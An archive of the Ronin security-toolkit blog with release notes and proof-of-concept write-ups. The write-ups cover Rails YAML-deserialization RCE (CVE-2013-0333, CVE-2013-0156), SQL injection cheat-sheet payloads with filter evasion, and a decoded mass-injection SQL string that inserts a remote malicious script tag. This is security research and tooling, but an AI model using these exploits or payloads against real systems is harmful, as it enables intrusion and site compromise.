Ronin Developer Blog

Now accepting Bitcoins

Fri Apr 05 00:00:00 -0700 2013

Ronin is now accepting Bitcoin donations!

We decided to start accepting donations as a way for users to help support the development of Ronin. Once enough Bitcoins have been donated, we can set Bounties for new features, tip contributors or even buy a domain name from NameCheap.

Bitcoin is a virtual p2p crypto-currency, that is not regulated or taxed. This makes transferring Bitcoins far easier and safer than transferring funds via PayPal. An increasing amount of online and offline merchants are starting to accept Bitcoins. Bitcoins can be bought and sold on many of the online exchanges with native currency.

Ideas Pages

Sat Mar 30 00:00:00 -0700 2013

Well, the deadline to submit Mentor Organization applications to Google Summer of Code 2013 (GSoC) crept up on us again. Unfortunately, we were unable to submit an application in time. One of the requirements we were missing was ideas for projects that Students could work on.

In order to prepare for Google Summer of Code 2014, we created Ideas pages on the Wikis:

If you have an idea for a cool feature that Ronin is currently missing, add it to one of the Ideas pages. Who knows, someone might implement one of your ideas sooner than you think. ;)

Rails PoC exploit for CVE-2013-0333

Mon Jan 28 00:00:00 -0800 2013

TL;DR: Same YAML vulnerability, different code-path.

rails_omakase.rb

Hot on the heels of CVE-2013-0156, CVE-2013-0333 was announced. A code-path was discovered that allows text/json requests to be translated into and parsed as YAML. This behavior only exists in Rails 2.3.x and 3.0.x.

This exploit uses the same YAML deserialization technique as the previous Rails PoC exploit. Please see the previous write-up for a detailed explanation of how to achieve Remote Code Execution (RCE) via YAML.load.

ActiveSupport::JSON

In Rails 3.0.x, ActiveSupport::JSON acts as a proxy to various JSON parsing libraries. By default Rails 3.0.x provides the JSONGem, Yajl and Yaml backends. JSONGem uses the json gem, Yajl uses the high-performance yajl JSON parser, and Yaml attempts to translate JSON into YAML before passing it to YAML.load. Oddly enough, Yaml (and not JSONGem) is the default JSON backend in Rails 3.0.x:

ActiveSupport::JSON.backend
# => ActiveSupport::JSON::Backends::Yaml

The problem with the Yaml backend is that it's convert_json_to_yaml method is incredibly naive. The method uses StringScanner to walk through the JSON string, replacing JSON tokens with their YAML equivalents. The method does not fully parse the JSON in order to emit proper YAML, nor does it validate that the input is actually valid JSON. This is our opening.

However, convert_json_to_yaml does replace all : characters with :, in an attempt to convert JSON Hashes into YAML Hashes. This will corrupt our YAML tags:

yaml = "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection"
ActiveSupport::JSON::Backends::Yaml.send(:convert_json_to_yaml,yaml)
# => "--- !ruby/hash: ActionController: : Routing: : RouteSet: : NamedRouteCollection"

Luckily, convert_json_to_yaml also parses JSON unicode-escaped characters:

ActiveSupport::JSON::Backends::Yaml.send(:convert_json_to_yaml,yaml.gsub(':','\u003a'))
# => "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection"

Now to get the YAML payload from rails_rce.rb executing. The module_evaled code in ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access was similar to that of Rails 2.8.x, and was changed in Rails 3.1.x. Due to this difference, we simply reused the Rails 2.x payload from the rails_rce.rb exploit.

After some minor modifications to rails_rce.rb we had a working exploit:

$ rails_omakase http://localhost:3000/secrets "puts 'lol'"

lol

Started POST "/secrets" for 127.0.0.1 at 2013-01-28 18:53:18 -0800
  Processing by SecretsController#show as 
  Parameters: {"_json"=>#<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0x00000002221080 @routes={:"foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n"=>#<struct defaults={:action=>"create", :controller=>"foos"}, required_parts=[], requirements={:action=>"create", :controller=>"foos"}, segment_keys=[:format]>}, @helpers=[:"hash_for_foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_url", :"foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_url", :"hash_for_foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_path", :"foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_path"], @module=#<Module:0x00000002220fb8>>}
Rendered text template (0.0ms)
Completed 200 OK in 2ms (Views: 1.4ms | ActiveRecord: 0.0ms)

Again?

When Rails was updated for CVE-2013-0156, it did not actually fix the underlying root cause, that the Psych YAML parser does not have a safe-mode. As long as developers continue allowing user-input near YAML.load, and there is no safe-mode to prevent YAML from deserializing arbitrary Classes, YAML deserialization vulnerabilities will continue to pop up. In the meantime, there is a safe_yaml library, which provides a safe-mode and does prevent rails_omakase.rb from working:

Started POST "/secrets" for 127.0.0.1 at 2013-01-28 21:34:37 -0800
  Processing by SecretsController#show as 
  Parameters: {"foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n"=>{"defaults"=>{":action"=>"create", ":controller"=>"foos"}, "required_parts"=>nil, "requirements"=>{":action"=>"create", ":controller"=>"foos"}, "segment_keys"=>[":format"]}}
Rendered text template (0.0ms)
Completed 200 OK in 2ms (Views: 1.2ms | ActiveRecord: 0.0ms)

Update: @nelhage has also written a monkey-patch for YAML, that prevents any non-primitive objects from being deserialized. I have tested this workaround against rails_omakase.rb on Ruby 1.9.3-p362 and Rails 3.0.19, and can confirm it prevents the exploit from working. However, once loaded it effects all YAML.load calls and cannot be disabled.

Omakase?

I named this exploit rails_omakase.rb, as an ode to Rails Is Omakase; I highly recommend the dramatic reading. In the blog post, David Heinemeier Hansson (DHH) discusses the criticism Rails Core has received over their changes to default settings. His main complaint is that merely complaining about the changes, and not contributing code, does not improve the development process of Rails.

This vulnerability was the result of changing the default JSON backend from JSONGem to Yaml. Additionally, it is unclear why anyone would ever consider attempting to convert JSON into YAML, without fully parsing it first. Like wise, CVE-2013-0156 is equally perplexing, who could possibly think any good would come from embedding YAML in XML?

Despite DHH's reassurance that Rails Core has the best of intentions when they change default settings, they can and do make mistakes.

RSnakes SQLi Cheat Sheet using ronin-sql 1.1.0

Tue Jan 22 00:00:00 -0800 2013

After the release of ronin-sql 1.0.0, I wondered if we could recreate RSnake's SQL Injection Cheat Sheet using the new Ronin::SQL Domain Specific Language (DSL). Let's see how far we can get.

Normal SQL Injection:

1 OR 1=1

sqli = Ronin::SQL::Injection.new
sqli.or { 1 == 1 }
puts sqli
# => 1 OR 1=1

Normal SQL Injection using encapsulated data:

1' OR '1'='1

sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.or { string(1) == string(1) }
puts sqli
# 1' OR '1'='1

Blind SQL Injection:

1 AND 1=1

sqli = Ronin::SQL::Injection.new
sqli.or { 1 == 1 }
puts sqli
# 1 AND 1=1

Blind SQL Injection to attempt to locate tablename by brute-force iteration through table name permutations:

1' AND 1=(SELECT COUNT(*) FROM tablenames); --

sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.and { select(count).from(:tablenames) == 1 }
puts sqli
# 1 AND (SELECT COUNT(*) FROM tablenames)=1

Creating errors by calling non-existent tables:

1' AND non_existant_table = '1

sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.and { non_existant_table == '1' }
puts sqli
# 1' AND non_existant_table='1

Dumping usernames:

' OR username IS NOT NULL OR username = '

sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.or { username.is_not(null) }.or { username == '' }
puts sqli
# 1' OR username IS NOT NULL OR username='

Enumerating through database table names:

1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116

sqli = Ronin::SQL::Injection.new
sqli.and {
  ascii(
    lower(
      substring(
        select(:name).top(1).from(sysobjects).where { xtype == 'U' }, 1, 1
      )
    )
  ) > 116
}
puts sqli
# 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype='U'),1,1)))>116

Finding user supplied tables using the sysObjects table in SQL Server:

1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --

sqli = Ronin::SQL::Injection.new
sqli.union_all {
  select(1,2,3,4,5,6,name).from(sysObjects).where { xtype == 'U' }
}
puts sqli.to_sql(:terminate => true)
# 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype='U');--

Bypass filters by using /**/ instead of spaces:

1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users

sqli = Ronin::SQL::Injection.new
sqli.union { select(1,2,3,4,id).from(users) }
puts sqli.to_sql(:space => '/**/')
# 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users

Not too shabby!

ronin-sql 1.0.0 released!

Mon Jan 21 00:00:00 -0800 2013

After six years of development and neglect, ronin-sql has been refactored and version 1.0.0 has finally been released! ronin-sql is a library for encoding/decoding SQL data. It also includes a Ruby Domain Specific Language (DSL) for crafting complex SQL Injections (SQLi).

Install

ronin-sql is available for installation as a RubyGem:

$ gem install ronin-sql

What's New?

Ruby 1.9

ronin-sql 1.0.0 requires Ruby >= 1.9.1. Ruby 1.8.7 is about to reach End-Of-Life and it's becoming difficult to develop for both 1.8 and 1.9. Additionally, Ruby 1.9 has many performance improvements over 1.8.7. Ruby 1.9.3 can be installed via RVM or via Ubuntu / Fedora packages.

Convenience Methods

The [String#sql_escape], [String#sql_encode], [String#sql_decode] have been moved out of [ronin-support] and into ronin-sql.

Escape a String:

"O'Brian".sql_escape
# => "'O''Brian'"

"O'Brian".sql_escape(:double)
# => "\"O'Brian\""

Unescapes a SQL String:

"'O''Brian'".sql_unescape
# => "O'Briand"

Hex encode a String:

"/etc/passwd".sql_encode
# => "0x2f6574632f706173737764"

Hex decode a String:

string = "4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72"
string.sql_decode
# => "DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''+['+@C+'] where '+@C+' not like ''%\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor"

"2f6574632f706173737764".sql_decode
# => "/etc/passwd"

Additionally, [String#sql_unescape] has been added:

"'O''Brian'".sql_unescape
# => "O'Brian"

Ronin::SQL

The Ruby->SQL encoder has been refactored into into a fully-fledged ARel-like Ruby DSL:

Injecting a 1=1 test into a String value:

sqli = Ronin::SQL::Injection.new(:escape => :string)
sqli.or { string(1) == string(1) }
puts sqli
# 1' OR '1'='1

Columns:

sqli = Ronin::SQL::Injection.new
sqli.and { admin == 1 }
puts sqli
# 1 AND admin=1

Clauses:

sqli = Ronin::SQL::Injection.new
sqli.or { 1 == 1 }.limit(0)
puts sqli
# 1 AND admin=1

Statements:

sqli = Ronin::SQL::Injection.new
sqli.union { select(1,2,3,4,id).from(users) }
puts sqli
# 1 UNION SELECT (1,2,3,4,id) FROM users

Filter evasion:

sqli = Ronin::SQL::Injection.new
sqli.union { select(1,2,3,4,id).from(users) }
puts sqli.to_sql(:space => '/**/')
# 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users

Rails PoC exploits for CVE-2013-0156 and CVE-2013-0155

Wed Jan 09 00:00:00 -0800 2013

TL;DR: Exploits are out, update Rails!

On January 8th, Aaron Patterson announced CVE-2013-0156, multiple vulnerabilities in parameter parsing in Action Pack allowing attackers to:

Bypass Authentication systems
Inject Arbitrary SQL
Perform a Denial of Service (DoS)
Execute arbitrary code

However, rumors of this vulnerability had been circulating on twitter as far back as CVE-2012-5664. Others also claimed to have working PoC exploits, but would not release them for fear of the PoCs being used maliciously. Naturally, I was interested in investigating the vulnerability.

It all started when Phenoelit discovered a vulnerability in how authentication plugins (such as AuthLogic) pass parameters to find_by_* methods. CVE-2012-5664 was then posted, stirring Twitter into a frenzy. However, the possibility of exploitation was limited, as detailed on the Phusion Corporate Blog. Thus the hunt began.

Intro to params in Rails

Params are first parsed by ActionDispatch::Middleware::ParamsParser, which detects the MIME type of the request and parses the body appropriately. By default ParamsParser only supports parsing XML and JSON requests. After the request body is parsed, the resulting data is coerced into a HashWithIndifferentAccess, ensuring all Hash keys are Strings.

Next, ActionDispatch::Http::Parameters takes the parsed request parameters and merges them with the path parameters. Note that the path parameters are first merged into the request parameters, to ensure that the request parameters cannot override the path parameters. Also note that when a Hash is merged into a HashWithIndifferentAccess, all keys are converted to Strings and all sub-Hashes converted to Indifferent ones. This ensures that params contains no Symbol keys and cannot be passed to find_by_* methods; despite what CVE-2012-5664 claims.

XML Deserialization

The Rails XML module (ActiveSupport::XmlMini) supports deserializing various primitives such as Integer, Symbol, String, Date, Time, etc. However, XmlMini also supports deserializing embedded YAML blobs. One might wonder, why this would be a good idea? Apparently, to support serializing/deserializing ActiveRecord models that contain serialized YAML.

What can we do with this? Deserialize arbitrary Objects for Classes already loaded by the Rails application.

YAML

When Psych parses !ruby/object:MyClass objects, it will call MyClass.allocate which returns a blank uninitialized instances of MyClass. Next, Psych will call instance_variable_set to set various instance variables.

Interestingly, Psych allows for arbitrary classes to be specified with !ruby/string and !ruby/hash declarations:

!ruby/hash:MyHashLikeClass
key1: value1
key2: value2

When Psych parses !ruby/hash:Class, it will actually call #initialize and then call #[]= to populate the objects fields. This feature was added sometime after Ruby 1.9.2.

PoCs

The Proof of Concept (PoC) exploits rely on abusing the Psych YAML parser and how it allows specifying arbitrary classes for !ruby/string and !ruby/hash YAML objects.

All of the following PoCs require the ronin-support gem and licensed under GPLv3.

Symbol DoS

rails_dos.rb

The Denial of Service vulnerability relies on the fact that even in Ruby 1.9 Symbols are not Garbage Collected. Even if HashWithIndifferentAccess converts the Symbols to Strings, the Symbols will remain in memory.

All we have to do is repeatedly send requests containing unique Symbols. To accomplish this we use the String.generate method to generate alphabetic Symbol names of varying length.

Unsafe Query Generation via JSON

rails_jsonq.rb

ActionDispatch::Middleware::ParamsParser also supports parsing JSON params from requests. However, it does not normalize the parsed params. Values such as [nil] or [""] are not normalized to nil and "". This allows us to bypass #nil? or #empty? checks, such as described in CVE-2013-0155:

unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

SQL Injection

rails_sqli.rb

Knowing that we cannot simply craft a XML+YAML request containing the :select option with some raw SQL, we have to look for an alternate code-path. As the Insinuator blog post points out, find_by_* methods can actually accept Arel::Node objects! Potentially, we can inject any of the Arel::Nodes. The most promising of these is Arel::Nodes::SqlLiteral. Unfortunately, calling Arel::Nodes::SqlLiteral#to_yaml does not work, so we must hand craft specific YAML:

--- !ruby/string:Arel::Nodes::SqlLiteral "SQL here"

Note that since Arel::Nodes::SqlLiteral inherits from String, !ruby/object:Arel::Nodes::SqlLiteral actually deserializes to a plain String; thus !ruby/string is necessary.

We could get creative and inject in an Abstract Syntax Tree (AST) of our desired SQL:

--- !ruby/object:Arel::Nodes::Or
left: 0
right: !ruby/object:Arel::Nodes::Equality
  left: 1
  right: 1

Remote Code Execution

rails_rce.rb

Update: The RCE PoC has been updated to support Rails 3.x and 2.x. Also, @eric1234 discovered that RCE PoC will not work against Ruby 1.9.2 below, due to Psych <= 1.0.0 not allowing arbitrary classes with !ruby/hash. However, there may be other YAML encoding tricks that could trigger the vulnerability.

As discussed in this Insinuator blog post, it may be possible to override an instance variable that is later passed to instance_eval, class_eval, module_eval or send. One such example is using ERB:

--- !ruby/object:ERB
src: _erbout = puts 'lol'

However, this relies on Rails calling #run or #result. This turns out to be rather difficult, since ActiveRecord/Arel will only allow certain types of objects be passed to find_by_* methods.

Since, we know Psych will call #initialize when parsing !ruby/hash:MyClass we just need to find a Hash like class. Luckily an anonymous contributor discovered such a class and told the Metasploit developers, which got published on the Rapid7 Community blog. The blog post then circulated Twitter and a friend pointed me to the class.

Update: After publishing the PoCs, lian contacted me and identified himself as the anonymous contributor who told HD Moore about the class. I then convinced him to take credit for his work on this vulnerability. Thanks to lian's solution, I was able to finish writing the exploit. In my opinion, if you give a famous Security Research your own research, you should publish it yourself to receive proper recognition and inform us not-so-famous Security researchers. ;)

The class in question is ActionDispatch::Routing::RouteSet::NamedRouteCollection. The class initializes variables in #initialize and aliases #[]= to the add method. The add method then leads to define_named_route_methods, which leads to define_named_route_methods, then to define_url_helper and finally module_eval. We are in business.

Now to figure out how to escape our Ruby code, such that def #{name} is ignored. Luckily, Ruby provides a special keyword (__END__) which causes the remainder of Ruby code to be treated as inline data.

code = "puts 'lol'"
escaped_code = "foo; #{code}\n__END__\n"

Now we need a convincing route Object for define_url_helper. Inspecting the method, our route must respond to defaults, requirements, required_parts, segment_keys. Luckily, all of these methods appear to be reader methods, so we can mock up a route using an OpenStruct.

After some massaging of the YAML, victory! In fact, our method worked so well that no exceptions were raised and our code is evaluated for each url helper that is defined (four times):

lol
lol
lol
lol

Started POST "/secrets/search" for 127.0.0.1 at 2013-01-09 19:35:48 -0800
Processing by SecretsController#search as */*
  Parameters: {"secret"=>#<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0x007f5474264218 @routes={:"foo; puts 'lol'\n__END__\n"=>#<OpenStruct defaults={:action=>"create", :controller=>"foos"}, required_parts=[], requirements={:action=>"create", :controller=>"foos"}, segment_keys=[:format]>}, @helpers=[:"hash_for_foo; puts 'lol'\n__END__\n_url", :"foo; puts 'lol'\n__END__\n_url", :"hash_for_foo; puts 'lol'\n__END__\n_path", :"foo; puts 'lol'\n__END__\n_path"], @module=#<Module:0x007f54742641a0>>}
WARNING: Can't verify CSRF token authenticity
Completed 500 Internal Server Error in 1ms

ronin-scanners 1.0.0.pre1 released!

Mon Oct 08 00:00:00 -0700 2012

After much stressing over API design and refactoring ronin-scanners 1.0.0.pre1 has been released. 1.0.0.pre1 is a complete rewrite of ronin-scanners when compared to 0.1.4; released back in 2009. The new API for ronin-scanners now allows for developers to write Scanners in Ruby and have their results automatically imported into the Ronin Database! This new API opens the door for quickly pulling data off the internet and into Ronin.

Install

ronin-scanners 1.0.0.pre1 can be installed from rubygems.org like so:

$ gem install ronin-scanners --pre

API

All Ronin Scanners inherit from the Ronin::Scanners::Scanner base class.

For a Scanner to be a functioning scanner, it must define a scan method. The scan method performs the actual "scanning" and yields each result. A result from a Scanner can be any kind of Object; whatever makes the most sense for a particular Scanner.

def scan
  sitemap = Nokogiri::XML(http_get_body(:path => SITEMAP_PATH))

  sitemap.search('/urlset/url/loc/.').each do |url|
    yield url
  end
end

Parameters

Since the scan method takes no arguments, Scanners are configured by the parameters they define.

# The URL to start spidering at.
parameter :start_at, :description => 'The URI to start scanning at'

# The hosts to spider.
parameter :hosts, :default => Set[],
                  :description => 'The hosts to scan'

Results

Many Scanners will likely invoke third-party scanners, and the returned results may not always be so consistent. For this, one can define a normalize_result method:

def normalize_result(result)
  unless result.kind_of?(::URI::Generic)
    begin
      URI.parse(result.to_s)
    rescue URI::InvalidURIError, URI::InvalidComponentError
    end
  else
    result
  end
end

If normalize_result returns nil, the result is considered invalid and ignored.

Resources

In order for a Scanner to import results into the Database, it must define a new_resource method. The new_resource method takes a Scanner result and converts it into a Database Resource, which can later be saved into the Database.

def new_resource(result)
  IPAddress.first_or_new(:address => result)
end

Depending on which Scanner base-class one inherits from (ex: URLScanner), a new_resource method may already be defined.

Methods

The Scanner base class defines three methods for enumerating over Scanner results:

each - The primary enumerator method, which simply calls scan and yields the Scanner results.
each_resource - Simply calls each and converts each Scanner result into a Database Resource object via the new_resource method.
import - Simply calls each_resource, saves each new Database Resource returned by new_resource and yields the successfully saved Resources.

For convenience sake, Scanner also define class-methods for each, scan and import.

Ronin::Scanners::Spider.import(:hosts => ['www.example.com']) do |url|
  puts "Scanned #{url}"
end

Classes

ronin-scanners provides various Scanner base-classes:

ronin-scanners also provides several built-in Scanners:

Commands

ronin-scanners provides several commands for the built-in Scanners:

$ ronin scanners - Starts the Ronin Console with ronin-scanners loaded.
$ ronin scanner - Loads a Scanner from a file or from the Database and runs it.
$ ronin scan:dork - Performs Google Dorks.
$ ronin scan:nmap - Automates nmap scans and imports them into the Database.
$ ronin scan:proxies - Scans for proxies and imports them into the Database.
$ ronin scan:spider - Spiders a website and saves URLs into the Database.

How to Help

Since this is a pre-release and a complete rewrite of ronin-scanners, your help is greatly needed! Here's how you can help out:

Install it ($ gem install ronin-scanners --pre)
Test the commands
Review the documentation
Attempt to write a script which uses one of the Scanners
Submit bugs or suggestions on GitHub

Let's make ronin-scanners 1.0.0 a solid release!

ronin-support 0.5.0, ronin 1.5.0 and ronin-gen 1.2.0 released!

Sat Jun 16 00:00:00 -0700 2012

ronin-support 0.5.0, ronin 1.5.0 and ronin-gen 1.2.0 have finally been released!

$ gem install ronin-support ronin ronin-gen

Checksums

ronin-support-0.5.0.gem
- MD5: 98594570d14c37101abdfdba32c6505f
- SHA1: 9c505fa3bdb5d38831acfb10ea2989f214db517d
- PGP
ronin-1.5.0.gem
- MD5: 1bfa9fc2709cc98231abf6944780ab63
- SHA1: 320659d87280d0a99075481ae7a05aa8bad4fff9
- PGP
ronin-gen-1.2.0.gem
- MD5: d3a3ea9c59f73abb274be8705160f1a2
- SHA1: f4a186f9772c2b8bf6807192a0740f3148c81e71
- PGP

Whats New?

pack / unpack

Special pack / unpack methods were added to String, Integer, Float and Array classes. Unlike the normal Array#pack / String#unpack methods, these methods accept C-types:

[0x5, "hello"].pack(:uint16_be, :string)
# => "\x00\x05hello\x00"

You can even specify the lengths of fields with Array#pack and

[0x1, 0x2, 0x3, 0x4, "hello"].pack([:uint8, 4], :string)
# => "\x01\x02\x03\x04hello\x00"

For a complete list of supported types, please see the documentation for Binary::Template.

Binary::Template

The way we implemented the fancy pack / unpack methods, was to create a template (Binary::Template) which translates C-types to Ruby pack codes. Using Binary::Template you can create reusable binary templates for packing and unpacking data.

template = Binary::Template[:uint16_be, :string]
template.pack(0x5, "hello")
# => "\x00\x05hello\x00"

template.unpack("\x00\x05hello\x00")
# => [5, "hello"]

Binary::Struct

Binary::Struct was also added to ronin-support 0.5.0. It is similar to BinStruct, but provides the same API as FFI::Struct. It supports typedefs, Array fields, nested-Structs and overriding reader/writer methods of fields.

require 'ronin/binary/struct'

class Packet < Binary::Struct

  endian :network

  layout :length, :uint32,
         :data,   [:uchar, 48]

end

pkt = Packet.new
pkt.length = 5
pkt.data   = 'hello'

buffer = pkt.pack
# => "\x00\x00\x00\x05hello\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

new_pkt = Packet.unpack(buffer)
# => #<Packet: length: 5, data: "hello">

tcp_open? / udp_open?

The tcp_open? and udp_open? methods were added to ronin-support 0.5.0. These methods perform basic tests to determine if a TCP / UDP port is open.

tcp_open?('example.com',80)
# => true

udp_open?('4.2.2.1',53)
# => true

Network::UNIX

Network::UNIX was added to help communicating with UNIX sockets.

unix_connect('/tmp/haproxy.stats.socket')
# => #<UNIXSocket:...>

unix_session('/tmp/haproxy.stats.socket') do |socket|
  socket.puts("show stat")
  puts socket.readlines
end

unix_accept('/tmp/race_condition.socket') do |socket|
  sockets.puts(buffer)
end

Network::FTP

Network::FTP was added to provide the same helper methods as Network::IMAP, but for communicating with FTP Servers.

ftp_connect('www.example.com', :user => 'joe', :password => 'secret')
# => #<Net::FTP:...>

ftp_session('ftp.kernel.org') do |ftp|
  ftp.chdir('/pub')
  puts ftp.list
end

Network::TCP::Proxy / Network::UDP::Proxy

Network::TCP::Proxy and Network::UDP::Proxy were added as well. Finally, you can create simple evented TCP/UDP proxies, to intercept or rewrite messages.

require 'ronin/network/tcp/proxy'
require 'hexdump'

Ronin::Network::TCP::Proxy.start(:port => 1337, :server => ['www.wired.com', 80]) do |proxy|
  address = lambda { |socket|
    addrinfo = socket.peeraddr
   "#{addrinfo[3]}:#{addrinfo[1]}"
  }
  hex = Hexdump::Dumper.new

  proxy.on_client_data do |client,server,data|
    puts "#{address[client]} -> #{proxy}"
    hex.dump(data)
  end

  proxy.on_client_connect do |client|
    puts "#{address[client]} -> #{proxy} [connected]"
  end

  proxy.on_client_disconnect do |client,server|
    puts "#{address[client]} <- #{proxy} [disconnected]"
  end

  proxy.on_server_data do |client,server,data|
    puts "#{address[client]} <- #{proxy}"
    hex.dump(data)
  end

  proxy.on_server_connect do |client,server|
    puts "#{address[client]} <- #{proxy} [connected]"
  end

  proxy.on_server_disconnect do |client,server|
    puts "#{address[client]} <- #{proxy} [disconnected]"
  end
end

require 'ronin/network/udp/proxy'
require 'hexdump'

Ronin::Network::UDP::Proxy.start(:port => 1337, :server => ['4.2.2.1', 53]) do |proxy|
  hex = Hexdump::Dumper.new

  proxy.on_client_data do |(client,(host,port)),server,data|
    puts "#{host}:#{port} -> #{proxy}"
    hex.dump(data)
  end

  proxy.on_server_data do |(client,(host,port)),server,data|
    puts "#{host}:#{port} <- #{proxy}"
    hex.dump(data)
  end

end

Console Commands

In ronin 1.5.0, one can now embed variables into shell commands:

>> !ncat #{ip} #{port}

Special Console commands (edit) have been separated from shell commands (!netstat -an) and are now prefixed with a .:

>> .edit

ronin net:proxy

Building on Network::TCP::Proxy and Network::UDP::Proxy, the net:proxy command was added to ronin 1.5.0 for quick proxying.

$ ronin net:proxy --port 8080 --server google.com:80
$ ronin net:proxy --port 53 --server 4.2.2.1 --udp --hexdump

ronin fuzzer

The fuzzer command was also added to ronin 1.5.0, for quick and dirty fuzzing of files, commands, TCP/UDP Services.

$ ronin fuzzer -i request.txt -o bad.txt -r unix_path:bad_strings

Man pages

Ronin 1.5.0 now sports professional man-pages for every command. The man-pages are viewed using the ronin help command.

$ ronin-help wordlist

Update

Due to a few minor bugs that slipped past QA, ronin-support 0.5.1 has been released:

$ gem update ronin-support

ronin-support-0.5.1.gem:
- MD5: 4e7a07c174d27f8f2c33f43002357ab3
- SHA1: 1a5f5580b0e7b76e5271e60db30d17bc6702b61a
- PGP

ronin-support 0.5.0.rc2, ronin 1.5.0.rc2, ronin-gen 1.2.0.rc2 released

Thu Jun 07 00:00:00 -0700 2012

ronin-support 0.5.0.rc2, ronin 1.5.0.rc2 and ronin-gen 1.2.0.rc2 have been released.

$ gem install ronin-support ronin ronin-gen --pre

Checksums

ronin-support-0.5.0.rc2.gem
- MD5: f6e8039f25723612ffc634d1c6ca0854
- SHA1: 14df56b762b4a8a2439551e638b76c9a6375adde
- PGP
ronin-1.5.0.rc2.gem
- MD5: 95746681d6cdbfd385bed63b43166b5f
- SHA1: edc5e60fa415843f882802c8ef059ee37a8dd49e
- PGP
ronin-gen-1.2.0.rc2.gem
- MD5: 8bd309dccb32e585f0c2e585bb7ab29d
- SHA1: ecc6efba1c674de73ea649b1051d76077c91ea44
- PGP

ChangeLogs

How Can You Help?

We would love your help testing these release candidates. Here are some things you can do:

Install the Gems:

 $ gem install ronin-support ronin ronin-gen --pre

Test the new code, such as Integer#pack, Float#pack, Array#pack, String#unpack, Ronin::Binary::Struct, Ronin::Network::TCP::Proxy (example) and Ronin::Network::UDP::Proxy (example).
Test the new commands, such as ronin-net-proxy.
Review the new man-pages.
```
 $ ronin-help wordlist
```

Review the documentation:

 $ yard server -g -d
 $ $BROWSER http://localhost:8808/docs/ronin-support/0.5.0.rc2/frames
 $ $BROWSER http://localhost:8808/docs/ronin/1.5.0.rc2/frames
 $ $BROWSER http://localhost:8808/docs/ronin-gen/1.2.0.rc2/frames

Installing Ronin on BackTrack Linux 5r2

Thu Apr 19 00:00:00 -0700 2012

BackTrack Linux 5r2 was released on March 1st, and ships with newer versions of just about everything. So I thought it was high time that we did a blog post on howto install Ronin on BackTrack Linux (BT) 5.

What is particularly nice about BT 5, is it ships with Ruby 1.9.2 and a few common RubyGems (bundler, rails, etc). Also, the few libraries/header-files which Ronin needs for installation (particularly libsqlite3) were already installed. This made installing Ronin on BT 5 as simple as:

gem install ronin

This will install Ronin and drop the ronin executable into /etc/alternatives/gem-bin/. Now you should be able to start the Ronin console:

# ronin
>> VERSION
=> "1.4.1"
>> !uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux
=> true

Parsing URIs is easy

Thu Mar 15 00:00:00 -0700 2012

Despite what others may say, parsing URIs is not hard.

In fact, Ruby already makes parsing URIs fairly easy with the URI() method.

uri = URI('http://www.google.com/search?q=parsing+URIs+is+hard%2C+let%27s+go+shopping&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:unofficial&client=firefox-a')
